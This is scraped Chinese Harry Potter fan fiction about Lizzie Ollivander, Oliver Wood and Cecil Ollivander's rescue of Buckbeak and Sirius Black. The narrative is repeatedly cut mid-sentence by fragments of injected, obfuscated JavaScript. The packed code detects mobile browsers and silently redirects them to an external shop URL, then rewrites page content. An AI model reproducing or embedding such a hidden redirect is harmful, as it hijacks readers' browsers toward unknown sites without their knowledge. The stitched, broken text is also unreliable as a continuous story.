RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487826|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着自己。 霍琦夫人吹响哨子,所有人同时跨上扫帚腾空飞起,然而波特的速度实在太快了,比莉兹预想中还要更快,她只希望秋能快一步出现对方飞行的路线上,一定要比他更快看到金色飞贼,不然就真的一点胜算都没有了。 但是很显然奥利弗·伍德作为一个半职业选手,在他高强度集中的注意力之下,想要躲过他的防守得分也不是一件容易的事情。开场才十分钟,莉兹和戴维斯已经尝试了十多次攻门,无一例外都被挡了出来,他仿佛早已摸清楚了他们的假动作。因此莉兹只能立刻启动备用计划,除了帕特里克之外所有人放弃得分,全力干扰波特。这个战术听起来比不光明磊落,但是魁地奇历史上多的是通过这个方式夺胜的球队,何况拉文克劳可不是弗林特那个粗鲁的家伙带领的斯莱特林。 比赛再次被莉兹拖进了胶着状态,两支球队都没人进球,两个找球手也没有人发现了金色飞贼。直到帕特里克被弗雷德吸引了注意,安吉丽娜顺利拿下一球之后,局面开始出现了变化,看台上的观众也重新起了兴致。 秋也不负所托提前一步发现了金色飞贼,她挡在了波特身前想要阻止他,只可惜对手的反应也很快,波特在她改变了飞行方向时便追了上来,转眼间她就被甩在了身后,接下来不管她如何加速,两个人的距离都只会逐渐变大,火弩箭简直像是一闪而过的流星,直到她看见了前方出现了三个黑色的身影,她一边提醒他小心,一边趁机试图超过波特冲向金色飞贼。 被宛如摄魂怪一般的黑斗篷果然让波特分了神,莉兹敏锐地捕捉到秋的眼神,立马俯冲下来给她打掩护,伍德同时也发现了,他对着离得最近的队友大喊道:“乔治别愣着,拿起你的球棒!” 一击鬼飞球飞来,差一些擦过莉兹的前额,她神色不改甚至没有回头看乔治一眼,听着伍德还在喊“乔治继续”,她便专心跟在秋的身后,左右翻飞只为了阻碍波特的飞行。 然而随着黑斗篷的靠近,所有人听得一声“呼神护卫”,一头牡鹿从波特的魔杖顶端冒了出来,它冲向了那群摄魂怪,接着又穿过了前方的莉兹和秋,反而为波特创造出了突破口,他突然提速超过了她们,下一秒便高高举起了手中的金色飞贼。 “格兰芬多获胜!”广播中传来李·乔丹兴奋的声音。 选手们缓缓落地,格兰芬多所有人高兴地围住了波特,而被这个低年级找球手摆了一道的莉兹和秋,转头看向了彼此,最后笑了出来。 “和他们打球总是很有意思。”秋评价道。 “那你不喜欢和赫奇帕奇的比赛吗?”莉兹调侃道。 “那你的男朋友刚刚那样子大喊,你不会生气吗?”秋也开玩笑似的反问。 “我看他刚刚压根儿就忘了我是谁。”莉兹虽然这么说着,却还是很开心地看着正高举双臂欢呼着的伍德,心想着如果是这样的魁地奇,她想她会喜欢的。 *来自北欧神话。光明神巴德尔在一日梦到“死亡”之后,他的母亲弗丽嘉为了保护儿子不受任何威胁,便跑遍世界各地要求世间万物发誓永远不会伤害巴德尔,但她忽略了生长在英灵殿旁边的槲寄生。所以被洛基钻了空子,他教唆巴德尔的孪生兄弟霍德尔将槲寄生投向巴德尔,因此杀死了他。而由于巴德尔并非战死,无法进入英灵殿,只能去到冥界。于是从这一刻开始,光明神死去,世界永远陷入了黑暗。 *关于槲寄生的习俗之一是,在槲寄生下的两个人要接吻。 39. 如姑姑如侄女 这日格兰芬多的大家在公共休息室里一直狂欢到凌晨都没散场,珀西站在桌子上扯着嗓子喊了好几遍“我命令你们所有人都回寝室!我是学生会主席!”,然而完全没有人在意他在说些什么,乔治和弗雷德甚至在一旁模仿他的语调,把珀西气得够呛,他梗着脖子离开了这个派对。没过一会儿,大约是刚从睡梦中被叫醒的麦格教授阴沉着一张脸出现在了休息室门前,她本不想扫学生的兴,可又不能让他们太放肆,只是简单训斥了两句,大家虽说不情不愿,但还是听话地上了楼。 之后走廊里时不时能听到有人在欢呼的声响,珀西一路检查一路敲门,只要听到有谁在继续胡闹,他就会很用力地拍门以示警告。直到确认所有人都安静入睡了,他才心满意足地走向了自己的寝室。 没成想刚躺下没多久,他的弟弟又惹了事,珀西推开门看到罗恩带着哈利还有其他的学生们手忙脚乱冲下了楼梯,他压根就叫不住他们,匆匆抓过枕头旁的主席徽章别在了睡衣上,跟着又回到了公共休息室。 罗恩几乎和见到的每一个人都语无伦次地讲述着刚刚发生的事情,他说小天狼星拿着刀子割开了他的床帘,珀西为了维持秩序不得不强行打断他。新一轮骚动却真的惹恼了麦格教授,她用十分失望的眼神瞪了珀西好几眼,接着将罗恩拉到一旁要求他冷静地叙述究竟发生了什么事。 也许比起逃犯布莱克的闯入,这一晚的混乱更像珀西·韦斯莱的一场噩梦,他将压抑了许久的怒火发泄在周一早晨的级长会议上,而在后排和以往一样发着呆的莉兹又成了他的靶子。 “这可是很严重的事情,奥利凡德小姐,请你认真一些!” 莉兹把手里那本麻瓜作者写的小说书放下,缓缓直起腰来,她故意放大了自己的眼中那些不屑的情绪,盯着他好一会儿才开口回道:“一个三番两次从教授们手里逃脱的恶性罪犯,韦斯莱先生您难道认为我们之中有人能抓到他吗?” “我们既然是学生干部,就应该负起责任。”珀西被她看得头皮发麻。 “既然是学生干部就应该知道对我们在场大部分人来说,最重要的是不久之后的OWLs和NEWT,我听说您想去魔法部实习啊。”莉兹这话一出,立刻得到了在场其他五年级和七年级级长的认同,大家纷纷开始抱怨复习任务的繁重还有每周一次会议实在太耽误时间了。 连塞德里克都跟着在一旁附和,那一脸微笑的模样差点没让珀西背过气去,他感觉那一日夜里的噩梦又在此刻上演了一次,佩内洛想帮着他说些什么,但她也惦记着还没完成的天文学论文,因此选择了沉默不语,会议便在这种不愉快中画上了句点。 接下来的一周内,莉兹·奥利凡德扳倒珀西·韦斯莱政权的传闻很快代替了布莱克再次闯入霍格沃茨这件事,顺便一并抹去了众人心中的恐慌,比起成天胆战心惊觉得逃犯就在身边,大家更爱看这位古板又爱拿腔拿调的学生会主席吃亏的模样。 这日傍晚莉兹刚离开图书馆,有谁从左边一拍她的肩膀,然后又把什么东西塞进了她斗篷的右边口袋。 “我们没机会在现场观看真是太可惜了。”只见乔治对着她笑了一下,手里还拿着一块黄油饼干,又指了指她的口袋说,“那是送给你的,梅丽刚刚烤好的。” 说罢他将饼干递到莉兹嘴边,她慌忙张嘴咬住,还没来得及同他说些什么,乔治已经快步跑向了不远处,他揽过弗雷德的肩膀,俩人不一会儿便消失在走廊拐角。 莉兹掏出那个牛皮纸袋,里面的饼干还是热腾腾的,三两口咽下嘴里的一块,她又拿了一块,结果刚送到嘴边,又来了一位不速之客,他弯下腰一口抢走了饼干。唇瓣上的触感转瞬即逝,她的反应速度也很快,转头踮起脚来咬下一半,然后抬头望着对方被吓到的神情,没忍住一下子笑了出来。 “这都防不住吗,守门员先生?”她调侃道。 “我错了。”红了脸的伍德连忙认输,他擦了擦嘴边的饼干屑,顺手接过她怀里那堆书。 “下周好像又可以去霍格莫德了,”莉兹说道,“我想吃松饼了。” 才平静了半秒钟的伍德又害羞地点了点头,他别过头应声回答:“那……那我们一起去。” 每次看到伍德这样的表情,莉兹总是觉得太有意思了,巴不得多逗弄他几次,他们磨磨蹭蹭走了好久才来到楼梯前,她看了一眼外面的天色,突然想起了什么似的,伸手拿回自己的书然后说:“快天黑了,我要赶紧把信寄出去。” 在原地看着她的背影,伍德刚低头笑了两声,那属于魁地奇守门员的敏锐感知力总算是起了作用,他向左一步躲开了从身后袭来的“危险”,转身看到的却是塞德里克若有所思的微笑,对方上前两步狠狠勾住他的脖子,贴在他耳边说:“伍德先生,我给你三秒钟坦白从宽,是什么时候开始的?” “开始什么?”伍德奋力挣扎,“去礼堂吃饭了。” “你不说我就去问莉兹了。”塞德里克加大了力气,把他勒得满脸通红。 “我说,我说!”伍德投降似的拍了好几下塞德里克的手臂,“你快松开。” 两个大高个打闹着吸引了周围人的注意,尤其他们之中还有那位赫奇帕奇的完美先生,女生们经过时都在窃窃私语,伍德只能拉着他先行离开。而他并不知道,早就觉得不对劲的塞德里克前几日已经从莉兹那里得到了自己想要的回答,他现在只是为了看好兄弟讲故事时那副精彩的表情罢了。 此时莉兹才给班克和米拉尼尔都分了些小零食,她把要寄给塞西尔的信绑在了米拉尼尔脚上,至于班克就和往常一样负责她和妈妈信件往来。不知是不是因为她总是在给班克送零食的时候也会给米拉尼尔带一份,伍德家这只性格顽劣的猫头鹰如今十分听她的话,他们的关系变得很好,有时候班克还会吃它的醋。 也不知道这次能不能收到塞西尔的回信,虽然她几乎每两周都会给塞西尔写信,不过很显然最近一段时间塞西尔依旧很忙碌,每几封信才能得到一次回应。但是莉兹还是觉得把想说的话告诉塞西尔总比告诉其他大人好,至少她会很认真地看完自己的信,偶尔还会告诉自己一些额外的消息。 比如她正在为了海格教授的那只鹰头马身有翼兽巴克比克的死刑上诉,以及她已经和斯卡曼德老先生取得了联系,国际神奇动物保护协会同意在正式行刑前取消巴克比克的禁制咒语,她不日就会来霍格沃茨处理这件事。 很可惜的是,没过多久塞西尔在信里告诉了莉兹,她帮海格再上诉的请求还是被福吉那个老家伙驳回了,莉兹觉得塞西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487827|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尔大约是想用更难听一些的称呼的,只是碍于自己还是个孩子所以换上了收敛的形容。 最终塞西尔总算是在行刑日之前拿到了正式的许可,国际神奇动物保护协会将派负责人到英国对巴克比克实行药物安乐死,她不顾阿莫斯的劝阻亲自将文件送去了部长办公室,福吉被塞西尔·奥利凡德那副凶神恶煞的表情吓得拍着桌子让她出去,还喊着会安排同办公室的那个金发小伙子去霍格沃茨,她休想再接手这个案子。 谁料话音刚落,塞西尔又走回他的办公桌前,两手撑着桌沿狠狠抛下一句:“部长大人,您要不看看文件上是要求谁来对接的?” 下一秒女人便直接摔门而出,而她刚踏出一步,旁边部长助理办公室和秘书室的门也同时关上了,无论是什么风吹草动,只要和大家的上司有关,不出一个上午都能在各个楼层传遍。 埋头走进电梯里,塞西尔碰上了乔金斯,她抱着一堆贴着外交标志的特殊文件,两个人互相打了个招呼,趁乔金斯还没开口打听刚刚福吉在办公室里怒吼是为什么的时候,塞西尔先问了她手上那堆文件是什么。 “哦是这样的,克劳奇先生最近负责了一个新的项目。”总是守不住秘密的乔金斯没有一点掩饰的意思。 “世界杯之后还有新的活动吗?”塞西尔追问道。 “是霍格沃茨的大活动,”电梯到了楼层,乔金斯笑了笑还故作神秘,“你们很快就会知道了,午餐时间再见。” 乔金斯的话倒是提醒了塞西尔,她匆匆跑回了办公室,阿莫斯似乎已经听说了部长办公室那一场争吵,正试图要同她谈谈这么做实在不合适,然而她只是从桌上那堆乱七八糟的信件中抽出了一封还没来得及打开的信,接着转身又走了出去,徒留阿莫斯和库尔特俩人面面相觑、不知所措。 先前去给巴克比克解除禁制咒时,她收到了费伦泽的消息,尽管她提醒过他很多次,人马们十分排斥这种向人类传达信息的行为,他实在没有必要这样帮助她,不过费伦泽是个很讲义气的朋友,既然当年他被同伴们驱逐时塞西尔帮过他,那么今后他就会永远成为她的助力。 费伦泽在信里说最近见过一个陌生的男人出现,但不是两年前伤害独角兽的那个人,他形容那是一个身材矮小还佝偻着身子的家伙,他逃跑时身后还有一条毛色混杂的黑色大型犬。塞西尔记得卢平先前说过的话,很显然这就是西里斯·布莱克,但是身材矮小的这位又是什么人呢,况且他上一次说的“疯狂的想法”至今也没有下文,她觉得最近应该找机会和他见一面了。 只不过塞西尔这两个月为了巴克比克的事情已经去了几趟霍格沃茨,她再出现在霍格莫德的话就有些太过显眼了,当她犹豫之时班克突然出现在了办公室窗外,她以为是莉兹又寄了信,解开绳子摊开羊皮卷发现是卢平给她的留言。 塞西尔 今晚十一点方便在你家见面吗? 我发现了一些事。 莱姆斯 而这晚的对话也真正的让塞西尔领会到了什么叫做“疯狂的想法”,因为当莱姆斯·卢平从大衣内袋里拿出那张牛皮纸展开时,塞西尔没有想到会在上面看到彼得·佩蒂格鲁的名字。 “莉莉和詹姆不在了,”卢平拳头紧握,“但是他还活着。” 40. 会变得幸福吗? 认识莱姆斯·卢平到现在满打满算快两年了,像塞西尔这种在大多数事情上都毫无顾虑的人,始终不能理解他无论做什么都瞻前顾后的性子,她把糖罐子推到他手边,自己拧开酒壶刚要喝一口,男人便停下了夹方糖的动作看了过来。 “行,我现在不喝,可以了吧。”她放下酒壶摇了摇头,站起身走到了窗边去,深夜时分有风乍起,给五月的伦敦带来了不算宜人的凉意。 房间里就这样安静了好一会儿,直到两个糖慢慢在冒着热气的红茶杯里化开,他听见了她的声音,那语气听着像忍了好久的样子:“所以你费了这么大劲想在魔法部之前找到布莱克就是想问这件事吧?” “也不是,我根本没想过彼得还活着的可能性,”卢平轻叹一口气,手撑着额头,“说实在的,我根本不知道见到西里斯之后应该说什么。” 塞西尔皱眉试图把已经在嘴边的句子咽回去,但显然是没来得及,因为她闷声笑了出来,然后说了一长串的话:“这多容易啊,只要和他说你相信那些事不是他做的,没有人怪过他,那孩子也安全长大了。还有什么要说的,哦,最好再关心他一下,和摄魂怪朝夕相处十几年可比你每个月变个身痛苦多了。” 这已经是塞西尔·奥利凡德收敛脾气以后能说出的最温和的发言了。 “没你想得这么简单。”卢平攥着拳头,听得有点不耐烦了。 “我是真的不明白这到底有多难,要是我的话……”塞西尔耸耸肩,脑子里一闪而过另一个布莱克的身影,便顿了顿之后再说,“要是我的话,我只希望听到朋友说‘我相信你’这句话,至于其他的都不重要。” 卢平低头喝了一口红茶,没有回话。 “所以你准备怎么办?”识相的塞西尔很快转移了话题,“或者说,你现在还有把握在邓布利多先生之前找到他吗?” 男人再次摊开那张皱巴巴的地图,指着上面的名字说:“我要用他引他出来。” 沉默着听完了卢平设想的所有方案,塞西尔总觉得无论哪一个,风险系数都很高,跟他那副优柔寡断不敢见老朋友的模样完全相反,他完全就没想着给自己留条后路。不过这时候当面驳回这些计划当然只会招来更多的麻烦,于是塞西尔先是潦草应下,心里盘算着有没有不牺牲任何人的方法,然后目送着男人消失在街巷。 此时已近凌晨一点,潮湿的气息盘桓在房间里,亮着的一盏台灯周围像是有一层水雾,塞西尔拿过莉兹午后寄来的那封长信,从之前读到的地方继续看了下去。 亲爱的塞西尔 …… 我是不是还没有讲到今年最后一场魁地奇比赛,正如我所预料的,妈妈果然来霍格沃茨看比赛了。复活节假期时我给她写了信,世界杯小组赛还有一个月就开始了,大名单里只有一个守门员,她还在训练里受了伤,青年队现役的守门员还够不上替补水平,我想她能用的人只剩下了奥利弗。 很幸运的事,格兰芬多赢得非常漂亮,奥利弗抱着奖杯哭了好久。虽然她现在就把奥利弗加进英格兰名单的可能性不高,但是我也算是做了些什么。 人的情绪好复杂,为什么我知道奥利弗一定会为了这件事而快乐,我却不愿意说是我邀请了米歇尔呢?还是说,就是因为我在米歇尔面前永远都做不对任何事,我才会认为直接地向别人表达善意或者爱意是一件很困难的事情? 其实我也想知道自己总是用这些小花招,会显得不够真诚吗? 还是不说这些了,我好像要变成另外一个人了。 弗立维教授很关心我们的OWLs考试,他希望我能多拿几门优秀,这样明年就能多选几门课,但我又不像罗杰那家伙,就是经常被门环挡在门口的那个男生,成日里只想当老师心中的乖宝宝,希望以后能进魔法部工作。 当然我也不是塞德,做好每件事对我来说没有那么轻松。 我只是想不通为什么我们总是在花这么多时间学这么多无趣的东西,翻着砖头一样厚的课本,在比斗篷还长的羊皮纸卷上写论文,好像除了我以外的所有人都觉得这很正常似的。 有时候我真羡慕奥利弗,一门心思喜欢魁地奇,一门心思只走这条路,身边的一切都变得不再重要了,而且那时的他看起来特别幸福。 我不知道自己会不会也有一天能变得幸福,你觉得呢? 顺便,我最近见过一次巴克比克,它看起来很悲伤,真不愿见到这样的结局啊。 希望你一切都好。 马上就要考试的莉兹 结尾的句子让塞西尔想起了前年的暑假,莉兹就这样躺在自己身旁,她难得孩子气地说着诉说着青春期的烦恼,那时塞西尔听着她的那句“小孩子没有很幸福”竟是用一句“可是大人不快乐啊”便搪塞了回去,如今想想,这样的回答是不是对十几岁的孩子来说有点残忍了。 这天之后不久,塞西尔收到了国际神奇动物保护协会的正式通知,要求她在当天傍晚六时准时到达现场,尽管文件里没有提到需要第三方在场监督,她还是决定稍微早到一会儿,防止部长办公室那群收了马尔福好处的家伙们再想出什么主意来破坏她的计划。先前斯卡曼德老先生悄悄寄给她一个有些破旧的手提箱,只不过他没有附上太多解释,只是留了一张便条在空箱子里。 奥利凡德小姐 你知道如何使用它,帮我问巴克比克好。 你的朋友纽特 况且塞西尔知道海格的心情一定很糟糕,她也想先和他聊几句,奈何时间实在太不凑巧,她在海格屋子里碰上了三个低年级的孩子,他们听着门打开的声响,撩起隐形衣就要盖过头顶,可惜塞西尔一步便跨进了门,她一眼看到了中间红发男孩手上的老鼠,这一瞥似乎吓坏了它似的,老鼠竟应激似的咬了男孩一口从打开的门缝中溜了出去。 “那里面就是一会儿要用的药剂吗?”海格指着塞西尔手里的箱子突然抽泣了一声。 “我很抱歉。”塞西尔话音刚落,对面卷发的女孩的眼神变得充满了戒备。 她深吸了一口气,叉着腰说:“我找过了所有类似案例,你们这样对待巴克比克是绝对不合法的,海格应该再上诉才对。” 在一旁抱着隐形衣不说话的大约就是那位波特了,塞西尔不动声色扫了他一眼,又看向了女孩说道:“你能想到的所有论据和案例我都写过报告了,这件事到现在已经不仅仅是一件鹰头马身有翼兽伤人案件了。” “它有名字的,它是巴克比克。”女孩打断道。 “我很抱歉,没有能保护好你们的朋友海格和巴克比克。”塞西尔的态度明显打动了面前的女孩,她眼里多了一层柔软的情绪,然后低下头去。 说话间,她从窗口看到邓布利多领着福吉朝这里走来,塞西尔立马伸手扯过隐形衣罩住了三个孩子,低声提醒道:“千万别出声,来人了。” 接着她快步走到了小屋后面,刚刚逃出来的那只老鼠就藏在院子里种着的南瓜叶子下面,就像是在偷听他们在屋内的谈话一般,她装作不经意的样子留意着老鼠,在海格泪眼朦胧的注视中缓缓走到巴克比克面前。 熟识神奇动物习性的塞西尔对着它弯下腰,一边伸手顺着它的羽毛安抚它,一边从身后摸出魔杖,就要施咒的瞬间,她听见身后传来了一阵无比沉重的呼吸声,像是野兽又像是人类,喘息中满含着恨意。然而就是这稍微的一个走神,那只老鼠便已经不见了踪影,那喘息声也消失了。同一时间,她在心里确认了卢平的说法。 “我们这就到了,”邓布利多指着站在不远处的塞西尔,“我想奥利凡德小姐已经完成了她的任务。” 即便知晓特制药剂只会短暂停止巴克比克的心跳,塞西尔在喂药的时候还是不免手有点发抖,按照既定计划,她会在福吉确认后再将巴克比克的尸体带回处理,因此等待药剂起效的时间里,她偷偷给卢平写了纸条——布莱克去追彼得了,打人柳方向。 纸条折成白鸽的形状腾空飞起,往着城堡的方向去。 过了差不多半小时,巴克比克彻底安静了下来,羽毛不再随着呼吸而动,双眼紧闭,无力地瘫倒在院子里,海格一声嚎哭,吓得才走过去两步的福吉没站稳差点摔倒在南瓜上。 “它真的死了?”福吉小心翼翼走近几步问一旁的塞西尔。。 “怎么,您觉得它也会给你来一爪子吗?”她冷笑一声,“托您的福,它死了,死得透透的。” “那……那就好!”福吉长舒一口气,“这样我就该回去了。” “别这么着急,我还没和您聊过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487828|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一批要去魔法部实习的学生呢。”邓布利多主动示好邀请了福吉去办公室里喝茶。 这反常的模样让塞西尔愣神了几秒钟,在原地站了好一会儿,见天色渐暗,摄魂怪开始聚集,日落未尽却已月出,她心想着这可不是什么好兆头。 连忙走回去拍了拍海格的肩膀,塞西尔说了两句安慰的话,又探头看了眼屋子里,早已经是空空如也,看来孩子们比她想的要机灵多了。见到仍在流泪的海格,她打算之后在信里把所有事情说给他听,今天不是个说话的好时机。 本以为今天救了巴克比克,给卢平送过消息,自己的任务算是圆满结束了,塞西尔在走出城堡的半道上被那只熟悉的皮手套挡住了去路,出于对邓布利多的无条件信任,她不假思索地握住了手套,伴随着更为熟悉的天旋地转,她在下一秒出现在了西塔楼上。 没来得及去思索邓布利多的用意,塞西尔转过身就看到了那扇门之后关着的人,是奄奄一息的西里斯·布莱克。她听到他口中一直在念念有词,像是在说着谁的名字。 简?詹?詹姆?詹姆斯·波特? 算了,先做事再问为什么已经是塞西尔这么多年养成的良好习惯了,她用咒语打开门,站在里面看了看这仿佛牢房一般的环境,迅速将角落的草堆拼凑起来,将它变成了一具逼真的尸体。 半倚靠在墙根的男人艰难地睁开眼看过来,但这个留着鲜艳颜色短发的女人却只是弯腰打开了手提箱,指着里面说:“进来,邓布利多让我带你出去。” 见他一动不动,她又补充道:“我是莱姆斯的朋友。” 这一次布莱克终于动弹了,他费力地在她的搀扶下站起身,钻进了箱子里,只听得底下发出哐当的响声,刚刚还面无表情的女人撇了撇嘴,低声说:“抱歉,忘记提醒你下面有台阶。” 说罢塞西尔她回身又一次握住了皮手套,邓布利多将他们送到了三把扫帚的门口,来往的客人并不在意她的出现,只有不远处的街口把守着的摄魂怪好像有些蠢蠢欲动,情急之下她选择了幻影移形,幸好没有和进门打扫卫生的房东太太直接面对面装饰。 听闻后来福吉利用布莱克的“尸体”大做了文章,只为了证明魔法部仍然值得信任,预言家报纸大写特写了福吉亲自抓到布莱克的过程,可塞西尔知道自己的咒语撑不过二十四个小时,但她更了解福吉,也更明白这群人的本性。 他们绝不会说出真相,因为说出真相要承担的一切,比真正的逃犯流窜在外对他们的来说更可怕。 只不过对于霍格沃茨的学生们来说,逃犯布莱克死去并没有给孩子们带来安心感,卢平教授的离开才是大家最关心的事情,有人和玛丽埃特一样认为狼人太危险了,卢平应该离开学校。而也有人和莉兹一样,并不在意危险还是不危险,大家只是觉得他的课挺有意思的,是难得不无聊的那种。先前黑魔法防御课的OWLs考试,她很顺利地完成了所有题目,如今一想到后面就不会再有机会和他学习,她还挺遗憾的。 学期末最后一次级长会议,珀西发表了很长一段告别词,和往常一样几乎没有人在听,有的人走出这里就不会再见面了,她觉得自己和珀西就是这种关系,而有的人…… 会议结束后,莉兹跟塞德里克两个人一起经过空荡荡的黑魔法防御课教室。 “为什么大人们总觉得为我们做的决定都是对的呢?”她开口问道。 “可能是因为他们无法为自己做决定吧。”塞德里克无奈回道。 “所以真不想长大啊,”莉兹垂下头,“一定要毕业吗?” “这么快就开始舍不得奥利弗了?”塞德里克笑了起来。 “他提前去球队报道的时候想过我们两个人吗?”莉兹摇摇头。 “此言差矣了奥利凡德小姐,他想不想我可一点都不重要。”塞德里克又笑了一声。 “住嘴吧,迪戈里先生。”她冷冷甩给他一个不算友好的眼神。 离校的那一天伴着晨光,米拉尼尔飞进霍格沃茨特快列车的窗户,给她送来了伍德的信,她站在火车走廊一字一句读着他写的关于正式比赛的感想,又在结尾看到了那句“我想你”,脸上缓缓浮现出了笑容。 就这样,莉兹·奥利凡德毫无波澜的五年级便画上了句号。 41. 谁生气了? 兴许是因为先前在海岛上的母女谈话实在不算愉快,这个假期米歇尔决定不再考虑莉兹的意见,哪怕她听闻丈夫的妹妹,那位伦敦市内远近驰名的疯女人塞西尔最近并不在英国,米歇尔还是不能放心让女儿留在家里。 前段时间有人说看到塞西尔在隐藏街和一个邋遢的男人拉拉扯扯,后来又有人说她代表魔法部去罗马尼亚同驯龙师谈什么项目还被火龙抓伤了后背。总而言之,她大概短时间内不会出现在莉兹面前了。不过米歇尔知道女儿莉兹远远比她看上去要叛逆得多,也知道她偷偷借了别人的猫头鹰和她崇拜的姑姑通信,但自己若是再管教得过分一些,莉兹一气之下溜出门就更麻烦了。 因此米歇尔只能对这件事睁一只眼闭一只眼,以及在离开伦敦前做好随时把她带在自己身边的准备。 暑假刚开始的时候,莉兹以课业太多为由在奥利凡德魔杖店里躲了一个星期。魁地奇世界杯赛开幕在即,英格兰队的主力守门员刚刚出院,米歇尔需要花很多精力在球队上,暂时理会不到她的事情。可尽管如此,莉兹每天都会收到妈妈传来的邮件,要求她盖上特质的章戳,确认她留在对角巷而不是去了什么巴黎或者是其他地方。 她本来是找了个借口不愿跟着妈妈去旁观英格兰队的队内训练赛,没想到这才第五天,除了天文学课那份按照特定日期撰写的观星周记,莉兹已经写完了全部的假期作业,连斯内普教授布置的都超前完成了。 倒不是霍格沃茨的教授们留的作业太少了,谁让店里的生意冷清,爷爷又去德国拜访了老朋友,和被禁足在家没有任何区别的她把一本五百多页的麻瓜作者写的小说从头到尾翻看了两遍,还把店里的架子前前后后擦了四五遍,橱窗台上甚至摆了一排她刻好的木头人偶。她实在找不到任何有意思的事情来做,只好埋头写作业。原以为还能写几封信来消磨时间,谁料到不仅塞西尔没有回复自己寄出的两封信,伍德也没有给她寄信,明明离校前时每天都会传来一封写满了训练项目的信,怎么假期开始之后只有第一天那封简短的“替补选拔也落选了”,然后就什么也没有了。 虽然有些话她不会在信里和他直说,但是她觉得像是奥利弗·伍德这样的选手,他不可能会看不清英格兰队目前的形势。六月中旬他被提前召进青年队的确是因为首发守门员的突发伤情,所以起初的替补转正了,他就晋升为了替补。可既然现在首发可以归队,伍德自然会变成今年这一届魁地奇世界杯的弃子。 “但我不认为奥利弗你的努力是个笑话,米歇尔的决定当然也没有错,她眼里只有球队和比赛没有你不是因为你的能力,只是因为你是新人,主教练冒不起这个险。她能在普德米尔破格讲未成年的你塞进一队大名单,证明你已经非常厉害了……” 这样说合适吗,她写坏了好几张信纸都没能写出最满意的回信,或者说他需要听这种没有人情味的解释吗,这看起来像是自己在为了妈妈辩解似的。况且莉兹也觉得三十多岁的老将作为队伍主心骨肯定是缺不得的,但他的反应也比不上伍德,强行让他首发是好的选择吗。 犹豫了许久,她换上了一张新的信纸,只写上了一句:“去他的英格兰队吧!” 后来不知是不是青年队的训练太过忙碌,还是伍德这个木头脑袋还没能转过弯,反正他们之间就这样暂时断了联系。日子一天天过去,她数着小组赛开始的时间,数着自己还剩几天要跟着米歇尔一起离开伦敦,总觉得有股心里有股憋闷的情绪不知如何发泄。 莉兹搞不明白自己是为了什么才这么上心,左右不过是魁地奇比赛而已,去不了国家队就打不成比赛了吗,打不了先在U20世界杯上露脸,成天想着一步登天的家伙到底有多愚蠢,而且又不是她淘汰他的,凭什么不理自己。 可惜她这场闷气没机会生太久,青训场地离英格兰在此次魁地奇世界杯的驻地很近,刚在房间安顿下来,米歇尔就拉着她去了隔壁报道。被迫换好装备的莉兹拿着飞天扫帚一脸不情愿地站在场外,和正好列队进场练习的青训队擦肩而过。老队员们都不是第一见莉兹了,她这些年几乎是在青训营里长大的,他们和她挥手打招呼。而听着前面的队友在说“米歇尔二代又来陪咱们训练了”,此时走在最后的伍德才注意到不远处的女孩。 有多久没见过她了,他竟然一瞬间忘记了,似乎从他沉浸在魁地奇训练之后就已经忘记了时间。她把头发绑在了脑后,卷卷一团像是兔子尾巴,看上去似乎瘦了一些,也长高了,伍德后知后觉地回忆起那封从上周起就说着一定要写完了寄出去的信,又在她沉默着向这里走来的时候窘迫地低下头,她站在他身边,却特地隔了一个人的间隙,他想她一定是生气了。 “莉兹……” 在训练的哨声吹响前,伍德尝试着和她搭话,不出意料统统都被无视了。等到整场魁地奇练习赛结束,莉兹被大家围在中间,你一句我一句打听着小组赛的消息,问她之后有没有机会见到爱尔兰队的林齐,他们想和他换球衣,还问她有没有决赛的贵宾邀请票,能不能带他们也去见见市面。 她皱起眉头不愿搭理任何人,又实在没办法从这一群大个子之间钻出来,便放弃了挣扎站在那儿任由他们在自己耳边叽叽喳喳。一直被挡在外圈的伍德总算凭借着自己得天独厚的身体条件突破了重围,他伸手紧紧抓住莉兹的手腕,再次使出了求饶的眼神,用眼睛无声表达着“你原谅我吧”,毛茸茸的脑袋配上这个表情成功逗笑了莉兹,她反手去牵他的手,二人手心相贴,接着十指紧扣在一起。 俩人钻进了看台下方躲开了所有人,这里空间狭窄,伍德必须猫着腰,莉兹挨着他的肩膀回头看他的眼睛,故作生气地说:“你还记得我呢?” “我怎么可能……”一着急就直起身的伍德还是碰到了头,他吃痛地咬着牙,又忙着继续解释,“我写了好多信,真的写了好多。” “但是你都忘了寄出来。”莉兹替他说完了后半句。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 